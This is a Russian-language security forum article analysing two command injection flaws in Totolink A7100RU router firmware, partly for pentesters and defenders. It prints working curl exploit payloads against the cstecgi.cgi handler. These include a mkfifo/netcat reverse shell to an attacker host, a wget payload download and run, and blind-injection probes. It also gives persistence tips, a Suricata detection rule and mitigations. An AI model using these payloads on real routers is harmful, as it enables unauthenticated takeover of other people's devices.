Статья CVE-2026-6154 и CVE-2026-6155: OS Command Injection в Totolink A7100RU — от CGI до шелла

Роутер Totolink с вскрытым корпусом на антистатическом коврике, плата с подсвеченным чипом и зелёным терминалом с root-приглашением.


Totolink A7100RU - двухдиапазонный SOHO-роутер на MIPS-архитектуре с прошивкой на базе embedded Linux. В СНГ этих коробочек полно, и прошивка 7.4cu.2313_b20191024 у них - одна сплошная дыра: единый CGI-обработчик /cgi-bin/cstecgi.cgi берёт пользовательский ввод и скармливает его напрямую в system() или popen() без какой-либо санитизации. Результат - десятки CVE с одинаковым паттерном. CVE-2026-6154 и CVE-2026-6155 из этой коллекции дают удалённое выполнение произвольных команд без аутентификации.

Разберу обе уязвимости на уровне конкретных функций и аргументов, покажу путь атаки от HTTP-запроса до получения шелла, и объясню, почему этот роутер - не единичный случай, а типичный представитель системной болезни SOHO-прошивок.

Что представляет собой attack surface Totolink A7100RU​

Прошивка A7100RU построена по стандартной для дешёвых SOHO-роутеров схеме: веб-интерфейс обслуживается облегчённым HTTP-сервером (GoAhead или его форк), который проксирует запросы к CGI-бинарникам. Ключевой обработчик - /cgi-bin/cstecgi.cgi. Один скомпилированный MIPS-бинарник, который маршрутизирует запросы по значению параметра (обычно topicurl) к внутренним C-функциям.

Каждая функция отвечает за конкретную настройку: Wi-Fi, WAN-подключение, обновление прошивки, диагностика. Проблема в том, что разработчики Totolink последовательно допускают одну и ту же ошибку - значение аргумента из HTTP-запроса конкатенируется в строку и улетает в system(). Без экранирования спецсимволов, без whitelist-валидации, без фильтров вообще.

Вот почему в одной прошивке 7.4cu.2313_b20191024 по данным NVD обнаружено больше десяти идентичных по паттерну уязвимостей: CVE-2026-6116, CVE-2026-6131, CVE-2026-6132, CVE-2026-6138, CVE-2026-6139, CVE-2026-6140, CVE-2026-6154, CVE-2026-6155, CVE-2026-6156, CVE-2026-6195. Все - CWE-78 (OS Command Injection), все с CVSS 4.0 score 8.9 (HIGH), все эксплуатируются удалённо без аутентификации. Различаются только имя функции и название аргумента. Копипаста бага - вот что это.

CVE-2026-6154: инъекция через setWizardCfg и аргумент wizard​

По описанию NVD, CVE-2026-6154 затрагивает функцию setWizardCfg в /cgi-bin/cstecgi.cgi. Уязвимый аргумент - wizard. Манипуляция им приводит к OS command injection. Атака выполняется удалённо, публичный эксплойт доступен.

Технические параметры по данным NVD​

ПараметрЗначение
CVSS 4.08.9 (HIGH)
ВекторAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H
CWECWE-77 (Command Injection), CWE-78 (OS Command Injection)
Прошивка7.4cu.2313_b20191024
Exploit StatusPublic (E:P)

Разберём вектор по компонентам. AV:N - атака по сети, достаточно добраться до веб-интерфейса роутера. AC:L - никаких race condition или хитрых условий. PR:N - аутентификация не нужна (да, серьёзно). UI:N - пользователю не надо ничего нажимать. Тройка VC:H/VI:H/VA:H - полная компрометация конфиденциальности, целостности и доступности.

Два CWE - не ошибка классификации. CWE-77 описывает общий паттерн инъекции команд (пользовательский ввод формирует команду), а CWE-78 конкретизирует: команда выполняется в контексте ОС. Внутри setWizardCfg значение wizard попадает в строку, которая уходит в shell-вызов - system(), popen() или что-то аналогичное.

Как это выглядит на уровне бинарника​

Извлекаем файловую систему прошивки через binwalk -eM, грузим cstecgi.cgi в Ghidra с архитектурой MIPS (для MediaTek-based Totolink обычно MIPS32 little-endian). Находим setWizardCfg - и видим знакомую до зубной боли картину: вызов обёртки над cgi_get_param или websGetVar для получения параметра из HTTP-запроса, результат через sprintf формирует строку:
Код:
sprintf(cmd_buf, "some_command %s", wizard_value);
system(cmd_buf);
Никакой проверки wizard_value на метасимволы shell: ;, |, $(), обратные кавычки. Подставляешь в wizard что-нибудь вроде value;id - и system() послушно выполняет сначала легитимную команду, а потом id. Проще не бывает.

CVE-2026-6155: инъекция через setWanCfg и аргумент pppoeServiceName​

Вторая уязвимость эксплуатирует тот же /cgi-bin/cstecgi.cgi, но другую функцию - setWanCfg. Уязвимый аргумент - pppoeServiceName. CVSS-метрики идентичны: 8.9 (HIGH), CWE-77 + CWE-78, удалённая эксплуатация без аутентификации.

setWanCfg отвечает за настройку WAN-подключения. pppoeServiceName - имя PPPoE-сервиса, которое вводят при настройке интернета. В нормальном сценарии это строка вроде ISP_Service. Но значение летит в shell-команду без санитизации, так что атакующий внедряет что угодно.

Нюанс, который стоит держать в голове: setWanCfg вызывается при начальной настройке или изменении WAN-параметров. В прошивках Totolink эти CGI-эндпоинты часто доступны без аутентификации by design - мол, роутер же, в доверенной локальной сети. На практике Shodan регулярно показывает тысячи SOHO-роутеров с веб-интерфейсом, торчащим в интернет. Доверенная сеть, ага.

Практический путь эксплуатации: от HTTP-запроса до шелла​

Требования к окружению​

Для воспроизведения нужен доступ к прошивке Totolink A7100RU 7.4cu.2313_b20191024 (физическое устройство или эмуляция). Инструменты: binwalk (v2.3+), Ghidra (10.x+) или IDA Pro, curl, опционально qemu-user-mipsel для эмуляции CGI-бинарника без железа. Сетевой доступ к порту 80 или 443 целевого устройства.

Шаг 1: разведка - определяем доступные функции cstecgi.cgi​

Роутеры Totolink используют предсказуемую структуру API. Запросы к /cgi-bin/cstecgi.cgi передают JSON-тело с ключом topicurl, который определяет вызываемую функцию. Первый шаг - подтвердить, что эндпоинт живой. curl -s http://<target>/cgi-bin/cstecgi.cgi должен вернуть ответ (пустой JSON или ошибку) - значит, обработчик на месте. Если анализируете извлечённую прошивку - grep по строкам setWizardCfg и setWanCfg в бинарнике покажет, что обе функции зарегистрированы.

Шаг 2: формирование payload для CVE-2026-6154​

Целевая функция - setWizardCfg, уязвимый аргумент - wizard. По данным TheHackerWire, аргумент конкатенируется прямо в строку shell-команды. Метасимволы для инъекции: ; (разделитель команд), $(command) (подстановка), | (pipe). Проверяем наличие OS command injection:
Код:
curl -X POST http://<target>/cgi-bin/cstecgi.cgi \
  -H "Content-Type: application/json" \
  -d '{"topicurl":"setWizardCfg","wizard":"test;id"}'
Если в ответе или поведении устройства (задержка при sleep, DNS-запрос при nslookup) видно результат инъекции - уязвимость подтверждена. Для reverse shell классический подход: wizard = test;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_ip> <port> >/tmp/f. Но конкретный синтаксис зависит от BusyBox на устройстве - есть ли nc, поддерживает ли флаг -e. Лично я всегда начинаю с which nc и nc -h, чтобы понять, с каким набором утилит имею дело.

Шаг 3: эксплуатация CVE-2026-6155 через pppoeServiceName​

Аналогичный подход. Функция setWanCfg, аргумент pppoeServiceName:
Код:
curl -X POST http://<target>/cgi-bin/cstecgi.cgi \
  -H "Content-Type: application/json" \
  -d '{"topicurl":"setWanCfg","pppoeServiceName":"ISP;wget http://<attacker>/payload -O /tmp/p"}'
Здесь вместо reverse shell - Ingress Tool Transfer (T1105): загрузка payload через wget, который обычно есть в BusyBox. Дальше chmod +x /tmp/p && /tmp/p следующим запросом.

Шаг 4: подтверждение и закрепление​

После получения выполнения кода проверяем контекст: id покажет пользователя (на SOHO-роутерах это практически всегда root - сюрприз, правда?). cat /proc/version - версия ядра, cat /etc/passwd - структура пользователей. Это техника System Information Discovery (T1082) по MITRE ATT&CK.

Для закрепления (Persistence) атакующий может записать веб-шелл - техника Web Shell (T1505.003). На роутерах с tmpfs это непостоянный доступ, но на устройствах с записываемой JFFS2-партицией шелл переживёт перезагрузку. Тут уж как повезёт с конкретным экземпляром.

Карта атаки по MITRE ATT&CK​

Эксплуатация CVE-2026-6154 и CVE-2026-6155 укладывается в такую цепочку:

ЭтапТехникаIDОписание в контексте A7100RU
Initial AccessExploit Public-Facing ApplicationT1190Эксплуатация CGI-обработчика через HTTP
Initial AccessExternal Remote ServicesT1133Веб-интерфейс роутера, открытый в сеть
ExecutionUnix ShellT1059.004Инжектированные команды выполняются через /bin/sh
ExecutionNetwork Device CLIT1059.008Команды в контексте embedded Linux
PersistenceWeb ShellT1505.003Размещение шелла в /tmp или на JFFS2
DiscoverySystem Information DiscoveryT1082Сбор информации об устройстве после компрометации
Command and ControlIngress Tool TransferT1105Загрузка дополнительных payload через wget/curl
Defense EvasionDefault AccountsT1078.001Использование учёток по умолчанию, если аутентификация всё же присутствует

Системная проблема: почему весь cstecgi.cgi - одна большая уязвимость​

CVE-2026-6154 и CVE-2026-6155 - два проявления фундаментального архитектурного дефекта. По данным NVD, в той же прошивке 7.4cu.2313_b20191024 аналогичные command injection уязвимости нашлись в куче других функций:

CVEФункцияАргументCVSS 4.0
CVE-2026-6116setDiagnosisCfgip8.9
CVE-2026-6131setTracerouteCfgcommand8.9
CVE-2026-6132setLedCfgenable8.9
CVE-2026-6138setAccessDeviceCfgmac8.9
CVE-2026-6139UploadOpenVpnCertFileName8.9
CVE-2026-6140UploadFirmwareFileFileName8.9
CVE-2026-6154setWizardCfgwizard8.9
CVE-2026-6155setWanCfgpppoeServiceName8.9
CVE-2026-6156setIpQosRulesComment8.9
CVE-2026-6195setPasswordCfgadmpass8.9

Десять функций, десять CVE, один и тот же корневой паттерн - пользовательский ввод из HTTP-запроса подставляется в строку, которую выполняет shell. Это не баг - это архитектурный дефект на уровне проектирования. Разработчик не использовал ни execve() с массивом аргументов (который не создаёт shell-контекст), ни функции экранирования, ни whitelist-валидацию.

Для пентестера это значит: обнаружили Totolink A7100RU с этой прошивкой - не нужно искать одну конкретную уязвимость. Практически любой параметр любой CGI-функции с высокой вероятностью уязвим к инъекции. Прогоняете cstecgi.cgi через Burp Suite Intruder с payload-листом метасимволов (; | $() &&) по всем параметрам JSON-запроса - и собираете урожай.

Обнаружение и митигация для защитников​

Сетевые индикаторы​

На уровне IDS/IPS стоит ловить POST-запросы к /cgi-bin/cstecgi.cgi с shell-метасимволами в теле JSON. Suricata-правило для базового обнаружения попытки эксплуатации роутер RCE уязвимости:
Код:
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"TOTOLINK A7100RU cstecgi.cgi command injection attempt"; flow:to_server,established; http.uri; content:"/cgi-bin/cstecgi.cgi"; http.request_body; pcre:"/[\x3b\x7c\x60\x24\x28]/"; sid:2026615; rev:1;)
Правило срабатывает на ;, |, обратные кавычки, $, ( в теле POST-запроса к CGI-обработчику. Базовый эвристический детект - будут false positives на легитимных запросах с этими символами, но на SOHO-роутере таких запросов в норме не бывает.

Митигация при невозможности обновления​

На момент публикации NVD патч для A7100RU не подтверждён. Что делать:
  1. Закрыть доступ к веб-интерфейсу со стороны WAN - через iptables или отключить Remote Management. Это первое и самое важное.
  2. Ограничить доступ к LAN-интерфейсу - поставить роутер за дополнительный файрвол, разрешить управление только с конкретных IP.
  3. Мониторить исходящие подключения с IP роутера - если с адреса роутера полетели wget, curl или DNS-запросы к странным доменам, это red flag.
  4. Серьёзно подумать о замене устройства. При десяти однотипных command injection в одной прошивке ждать качественного патча от вендора - так себе стратегия.

Почему это всё работает именно так​

Вопрос, который задают начинающие пентестеры: почему CGI-обработчик на роутере принимает команды без аутентификации? Ответ - в экономике embedded-разработки. Прошивки для SOHO-роутеров пишутся маленькими командами с околонулевым бюджетом на security review. cstecgi.cgi - монолитный обработчик, где десятки функций настройки дёргают системные утилиты через system(), потому что так проще, чем писать нативный парсер конфигов. Аутентификация реализована на уровне JavaScript-фронтенда или проверяется cookie, которую можно угадать или обойти. На заборе написано «авторизация», а за забором - system() без фильтров.

И это не уникальная проблема Totolink. Аналогичные уязвимости прошивки роутера с CWE-78 массово регистрируются для Wavlink (CVE-2026-6483 в WL-WN530H4, CVSS 7.3 по NVD), других моделей Totolink (CVE-2026-6158 в N300RH), и десятков SOHO-вендоров. Паттерн один: CGI + system() + отсутствие санитизации = получение шелла через CGI в один HTTP-запрос.

Контекст для пентестера: как использовать эти CVE в реальном проекте​

При пентесте периметра, если на Shodan или Censys обнаружен Totolink A7100RU, алгоритм такой:

Первое - подтвердить версию прошивки. Обычно она видна на странице логина или в ответе на GET к корню. Строка 7.4cu.2313 - ваш триггер.

Второе - blind command injection для подтверждения. Вместо id используйте time-based: wizard = test;sleep 5. Ответ задерживается на 5 секунд - инъекция подтверждена без необходимости видеть вывод. Просто и надёжно.

Третье - out-of-band подтверждение через DNS: wizard = test;nslookup unique-token.your-collaborator-domain. Запрос на ваш DNS-сервер подтвердит выполнение команды даже при отсутствии прямого вывода.

Четвёртое - при эксплуатации учитывайте ограничения BusyBox. Не все опции GNU-утилит доступны. Проверьте наличие nc с флагом -e через which nc - если нет, используйте вариант с mkfifo. Или запишите shell-скрипт через echo по одной строке и выполните. На одном проекте я потратил полчаса, пытаясь запустить reverse shell стандартным способом - оказалось, в этом BusyBox даже nc собран без поддержки -e. Классика embedded.

Вопрос к читателям​

При анализе прошивки A7100RU 7.4cu.2313_b20191024 через binwalk -eM и загрузке cstecgi.cgi в Ghidra видно, что все уязвимые функции - от setWizardCfg до setPasswordCfg - используют один и тот же внутренний вызов для получения параметров из HTTP-запроса перед передачей в system(). Кто из вас реверсил этот бинарник - через какую конкретно wrapper-функцию (websGetVar, cgi_get, кастомная обёртка?) Totolink передаёт значения аргументов? И пробовал ли кто-нибудь эмулировать cstecgi.cgi через qemu-user-mipsel с подменой nvram - какой набор переменных окружения (REQUEST_METHOD, CONTENT_TYPE, CONTENT_LENGTH) минимально необходим для запуска? Делитесь в комментариях - интересно сравнить результаты.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab